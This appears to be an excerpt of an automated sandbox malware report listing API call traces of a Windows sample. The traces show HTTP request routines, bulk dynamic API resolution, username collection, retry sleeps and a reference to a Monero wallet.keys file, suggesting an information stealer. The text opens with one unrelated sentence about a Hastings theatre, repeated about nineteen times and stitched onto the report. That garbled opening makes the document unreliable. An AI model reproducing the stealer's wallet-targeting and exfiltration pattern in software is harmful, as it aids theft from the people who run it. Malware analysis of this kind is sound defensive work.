the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 01d0ad24207df5b7d7e8686b845ff8d39fc11457372f01986f9b0a8d160b17cd
Instruction ID: 98bed77e327668300d07cb023fe5365cba173c78b0bfecc35ddd8c00aa511d4b
Opcode Fuzzy Hash: 01d0ad24207df5b7d7e8686b845ff8d39fc11457372f01986f9b0a8d160b17cd
Instruction Fuzzy Hash: 0A4178657C2604FFE664B7A5A84EDDDB663DF8E700F897140FA015A2C2CFB867A04D21

Function 005F4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 005F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4839
Part of subcall function 005F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4849

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005F4915
StrCmpCA.SHLWAPI(?,0140E430), ref: 005F493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00610DDB,00000000,?,?,00000000,?,",00000000,?,0140E4C0), ref: 005F4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005F4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005F4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005F4E49
InternetCloseHandle.WININET(00000000), ref: 005F4EAD
InternetCloseHandle.WININET(00000000), ref: 005F4EC5
HttpOpenRequestA.WININET(00000000,0140E490,?,0140DB30,00000000,00000000,00400100,00000000), ref: 005F4B15

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

InternetCloseHandle.WININET(00000000), ref: 005F4ECF

Strings

------, xrefs: 005F4C69
------, xrefs: 005F49BD
------, xrefs: 005F4B28
", xrefs: 005F4BF2
", xrefs: 005F4D33

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 84d075260fe9d2ec4cc6f28b22bdcea61d4aafbbba1e454d5ef03849a160c869
Instruction ID: 77ebac9a5b1c9fa0551549a77ea7899f3a979fe401d4ecdc2faccc524f593597
Opcode Fuzzy Hash: 84d075260fe9d2ec4cc6f28b22bdcea61d4aafbbba1e454d5ef03849a160c869
Instruction Fuzzy Hash: E112E871951218AADB58EB90DD92FEFB33ABF54340F50819DB106620D1EF702E49CF6A

Function 00607850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005F11B7), ref: 00607880
RtlAllocateHeap.NTDLL(00000000), ref: 00607887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0060789F

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 12ed1b349578da8d31b7cd11d6b2489a41a3d178886c294b5cf02fe83bb72c29
Instruction ID: d028aae41791f3c8b619519cc72615f25e8092ec2267f17b0c4a4eff53c5d191
Opcode Fuzzy Hash: 12ed1b349578da8d31b7cd11d6b2489a41a3d178886c294b5cf02fe83bb72c29
Instruction Fuzzy Hash: 46F04FB1D44208ABC704DF98DD49BAFFBB8FB44721F10066AFA45A2680C77515048BA1

Function 005F1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 005F116A
ExitProcess.KERNEL32 ref: 005F117E

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: fad2e512a7905643431189ed152adeddb4ea6c1149a214913812ac577592a821
Instruction ID: 60b35a0515792a522096d716403202fc93697222079c144a2416af8b2b77113d
Opcode Fuzzy Hash: fad2e512a7905643431189ed152adeddb4ea6c1149a214913812ac577592a821
Instruction Fuzzy Hash: CBD05E7490030CDBCB04EFE0D889AEDBB78FB48321F000954D94562340EA315491CAA6

Function 00609C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013F65A0), ref: 00609C2D
GetProcAddress.KERNEL32(75900000,013F64E0), ref: 00609C45
GetProcAddress.KERNEL32(75900000,01408F40), ref: 00609C5E
GetProcAddress.KERNEL32(75900000,01408EF8), ref: 00609C76
GetProcAddress.KERNEL32(75900000,0140CA30), ref: 00609C8E
GetProcAddress.KERNEL32(75900000,0140C988), ref: 00609CA7
GetProcAddress.KERNEL32(75900000,013FAFC8), ref: 00609CBF
GetProcAddress.KERNEL32(75900000,0140C838), ref: 00609CD7
GetProcAddress.KERNEL32(75900000,0140C880), ref: 00609CF0
GetProcAddress.KERNEL32(75900000,0140CA48), ref: 00609D08
GetProcAddress.KERNEL32(75900000,0140C9A0), ref: 00609D20
GetProcAddress.KERNEL32(75900000,013F64C0), ref: 00609D39
GetProcAddress.KERNEL32(75900000,013F65C0), ref: 00609D51
GetProcAddress.KERNEL32(75900000,013F62A0), ref: 00609D69
GetProcAddress.KERNEL32(75900000,013F63E0), ref: 00609D82
GetProcAddress.KERNEL32(75900000,0140CA60), ref: 00609D9A
GetProcAddress.KERNEL32(75900000,0140C8C8), ref: 00609DB2
GetProcAddress.KERNEL32(75900000,013FB180), ref: 00609DCB
GetProcAddress.KERNEL32(75900000,013F62C0), ref: 00609DE3
GetProcAddress.KERNEL32(75900000,0140C928), ref: 00609DFB
GetProcAddress.KERNEL32(75900000,0140C850), ref: 00609E14
GetProcAddress.KERNEL32(75900000,0140CAA8), ref: 00609E2C
GetProcAddress.KERNEL32(75900000,0140C7F0), ref: 00609E44
GetProcAddress.KERNEL32(75900000,013F64A0), ref: 00609E5D
GetProcAddress.KERNEL32(75900000,0140CA78), ref: 00609E75
GetProcAddress.KERNEL32(75900000,0140CA00), ref: 00609E8D
GetProcAddress.KERNEL32(75900000,0140C9B8), ref: 00609EA6
GetProcAddress.KERNEL32(75900000,0140CAC0), ref: 00609EBE
GetProcAddress.KERNEL32(75900000,0140C940), ref: 00609ED6
GetProcAddress.KERNEL32(75900000,0140C8E0), ref: 00609EEF
GetProcAddress.KERNEL32(75900000,0140C868), ref: 00609F07
GetProcAddress.KERNEL32(75900000,0140CA90), ref: 00609F1F
GetProcAddress.KERNEL32(75900000,0140CAD8), ref: 00609F38
GetProcAddress.KERNEL32(75900000,01409A38), ref: 00609F50
GetProcAddress.KERNEL32(75900000,0140C808), ref: 00609F68
GetProcAddress.KERNEL32(75900000,0140C958), ref: 00609F81
GetProcAddress.KERNEL32(75900000,013F6500), ref: 00609F99
GetProcAddress.KERNEL32(75900000,0140C898), ref: 00609FB1
GetProcAddress.KERNEL32(75900000,013F6360), ref: 00609FCA
GetProcAddress.KERNEL32(75900000,0140C8B0), ref: 00609FE2
GetProcAddress.KERNEL32(75900000,0140CA18), ref: 00609FFA
GetProcAddress.KERNEL32(75900000,013F6380), ref: 0060A013
GetProcAddress.KERNEL32(75900000,013F6400), ref: 0060A02B
LoadLibraryA.KERNEL32(0140C9D0,?,00605CA3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE3), ref: 0060A03D
LoadLibraryA.KERNEL32(0140C820,?,00605CA3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE3), ref: 0060A04E
LoadLibraryA.KERNEL32(0140C8F8,?,00605CA3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE3), ref: 0060A060
LoadLibraryA.KERNEL32(0140C9E8,?,00605CA3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE3), ref: 0060A072
LoadLibraryA.KERNEL32(0140C910,?,00605CA3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE3), ref: 0060A083
LoadLibraryA.KERNEL32(0140C970,?,00605CA3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE3), ref: 0060A095
LoadLibraryA.KERNEL32(0140CC40,?,00605CA3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE3), ref: 0060A0A7
LoadLibraryA.KERNEL32(0140CD90,?,00605CA3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE3), ref: 0060A0B8
GetProcAddress.KERNEL32(75FD0000,013F6920), ref: 0060A0DA
GetProcAddress.KERNEL32(75FD0000,0140CCE8), ref: 0060A0F2
GetProcAddress.KERNEL32(75FD0000,014088F0), ref: 0060A10A
GetProcAddress.KERNEL32(75FD0000,0140CB68), ref: 0060A123
GetProcAddress.KERNEL32(75FD0000,013F6A00), ref: 0060A13B
GetProcAddress.KERNEL32(734B0000,013FB1A8), ref: 0060A160
GetProcAddress.KERNEL32(734B0000,013F68E0), ref: 0060A179
GetProcAddress.KERNEL32(734B0000,013FB0B8), ref: 0060A191
GetProcAddress.KERNEL32(734B0000,0140CC10), ref: 0060A1A9
GetProcAddress.KERNEL32(734B0000,0140CAF0), ref: 0060A1C2
GetProcAddress.KERNEL32(734B0000,013F6860), ref: 0060A1DA
GetProcAddress.KERNEL32(734B0000,013F6760), ref: 0060A1F2
GetProcAddress.KERNEL32(734B0000,0140CC88), ref: 0060A20B
GetProcAddress.KERNEL32(763B0000,013F6740), ref: 0060A22C
GetProcAddress.KERNEL32(763B0000,013F6720), ref: 0060A244
GetProcAddress.KERNEL32(763B0000,0140CD60), ref: 0060A25D
GetProcAddress.KERNEL32(763B0000,0140CBE0), ref: 0060A275
GetProcAddress.KERNEL32(763B0000,013F6880), ref: 0060A28D
GetProcAddress.KERNEL32(750F0000,013FB2C0), ref: 0060A2B3
GetProcAddress.KERNEL32(750F0000,013FB270), ref: 0060A2CB
GetProcAddress.KERNEL32(750F0000,0140CD78), ref: 0060A2E3
GetProcAddress.KERNEL32(750F0000,013F69E0), ref: 0060A2FC
GetProcAddress.KERNEL32(750F0000,013F68A0), ref: 0060A314
GetProcAddress.KERNEL32(750F0000,013FB0E0), ref: 0060A32C
GetProcAddress.KERNEL32(75A50000,0140CDC0), ref: 0060A352
GetProcAddress.KERNEL32(75A50000,013F66C0), ref: 0060A36A
GetProcAddress.KERNEL32(75A50000,01408850), ref: 0060A382
GetProcAddress.KERNEL32(75A50000,0140CC58), ref: 0060A39B
GetProcAddress.KERNEL32(75A50000,0140CCD0), ref: 0060A3B3
GetProcAddress.KERNEL32(75A50000,013F6A20), ref: 0060A3CB
GetProcAddress.KERNEL32(75A50000,013F66E0), ref: 0060A3E4
GetProcAddress.KERNEL32(75A50000,0140CDA8), ref: 0060A3FC
GetProcAddress.KERNEL32(75A50000,0140CDD8), ref: 0060A414
GetProcAddress.KERNEL32(75070000,013F6680), ref: 0060A436
GetProcAddress.KERNEL32(75070000,0140CB20), ref: 0060A44E
GetProcAddress.KERNEL32(75070000,0140CB08), ref: 0060A466
GetProcAddress.KERNEL32(75070000,0140CBC8), ref: 0060A47F
GetProcAddress.KERNEL32(75070000,0140CD00), ref: 0060A497
GetProcAddress.KERNEL32(74E50000,013F67E0), ref: 0060A4B8
GetProcAddress.KERNEL32(74E50000,013F66A0), ref: 0060A4D1
GetProcAddress.KERNEL32(75320000,013F68C0), ref: 0060A4F2
GetProcAddress.KERNEL32(75320000,0140CBB0), ref: 0060A50A
GetProcAddress.KERNEL32(6F060000,013F6700), ref: 0060A530
GetProcAddress.KERNEL32(6F060000,013F6820), ref: 0060A548
GetProcAddress.KERNEL32(6F060000,013F6980), ref: 0060A560
GetProcAddress.KERNEL32(6F060000,0140CB38), ref: 0060A579
GetProcAddress.KERNEL32(6F060000,013F6780), ref: 0060A591
GetProcAddress.KERNEL32(6F060000,013F67A0), ref: 0060A5A9
GetProcAddress.KERNEL32(6F060000,013F67C0), ref: 0060A5C2
GetProcAddress.KERNEL32(6F060000,013F6800), ref: 0060A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0060A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0060A607
GetProcAddress.KERNEL32(74E00000,0140CBF8), ref: 0060A629
GetProcAddress.KERNEL32(74E00000,01408910), ref: 0060A641
GetProcAddress.KERNEL32(74E00000,0140CB50), ref: 0060A659
GetProcAddress.KERNEL32(74E00000,0140CB80), ref: 0060A672
GetProcAddress.KERNEL32(74DF0000,013F6960), ref: 0060A693
GetProcAddress.KERNEL32(6F9A0000,0140CCA0), ref: 0060A6B4
GetProcAddress.KERNEL32(6F9A0000,013F6840), ref: 0060A6CD
GetProcAddress.KERNEL32(6F9A0000,0140CB98), ref: 0060A6E5
GetProcAddress.KERNEL32(6F9A0000,0140CCB8), ref: 0060A6FD

Strings

InternetSetOptionA, xrefs: 0060A5E5
HttpQueryInfoA, xrefs: 0060A5FC

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: cd73409a490ad3f6dcffea36e77490b79142dbf0846a1cfe3da623e33e2df5a4
Instruction ID: 637d21998c58bfc7b59318bec828b2f48000f52966f9c6730aeb789c894ae29f
Opcode Fuzzy Hash: cd73409a490ad3f6dcffea36e77490b79142dbf0846a1cfe3da623e33e2df5a4
Instruction Fuzzy Hash: 8A621AB5505200AFC74CDFA8ED88D663BF9F7EC7017148D2AA6C9C3264D73A9841DB52

Function 005F6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 005F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4839
Part of subcall function 005F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4849

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

InternetOpenA.WININET(00610DFE,00000001,00000000,00000000,00000000), ref: 005F62E1
StrCmpCA.SHLWAPI(?,0140E430), ref: 005F6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F6335
HttpOpenRequestA.WININET(00000000,GET,?,0140DB30,00000000,00000000,00400100,00000000), ref: 005F6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005F63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005F63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005F63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005F646D
InternetCloseHandle.WININET(00000000), ref: 005F64EF
InternetCloseHandle.WININET(00000000), ref: 005F64F9
InternetCloseHandle.WININET(00000000), ref: 005F6503

Strings

GET, xrefs: 005F637C
ERROR, xrefs: 005F6407
ERROR, xrefs: 005F64C9

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: b1763fc8377ff26cac640968802109a61fd7e533e0c0a18cf00ae8a8cff3b43c
Instruction ID: 4825e931fc69550dbe1243b6cc180a0c6205e3ace09168732623454e6d0a1e88
Opcode Fuzzy Hash: b1763fc8377ff26cac640968802109a61fd7e533e0c0a18cf00ae8a8cff3b43c
Instruction Fuzzy Hash: 63713D71A40318ABDF18EBA0DC89FEE7B79BB44700F108598F6096B1D0DBB46A85CF51

Function 00605510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0060A820: lstrlen.KERNEL32(005F4F05,?,?,005F4F05,00610DDE), ref: 0060A82B
Part of subcall function 0060A820: lstrcpy.KERNEL32(00610DDE,00000000), ref: 0060A885

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00605644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006056A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00605857

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 006051F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00605228

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 006052C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00605318
Part of subcall function 006052C0: lstrlen.KERNEL32(00000000), ref: 0060532F
Part of subcall function 006052C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00605364
Part of subcall function 006052C0: lstrlen.KERNEL32(00000000), ref: 00605383
Part of subcall function 006052C0: lstrlen.KERNEL32(00000000), ref: 006053AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0060578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00605940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00605A0C
Sleep.KERNEL32(0000EA60), ref: 00605A1B

Strings

ERROR, xrefs: 00605636
ERROR, xrefs: 00605849
ERROR, xrefs: 0060577D
ERROR, xrefs: 006059FE
ERROR, xrefs: 00605932
ERROR, xrefs: 00605693

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
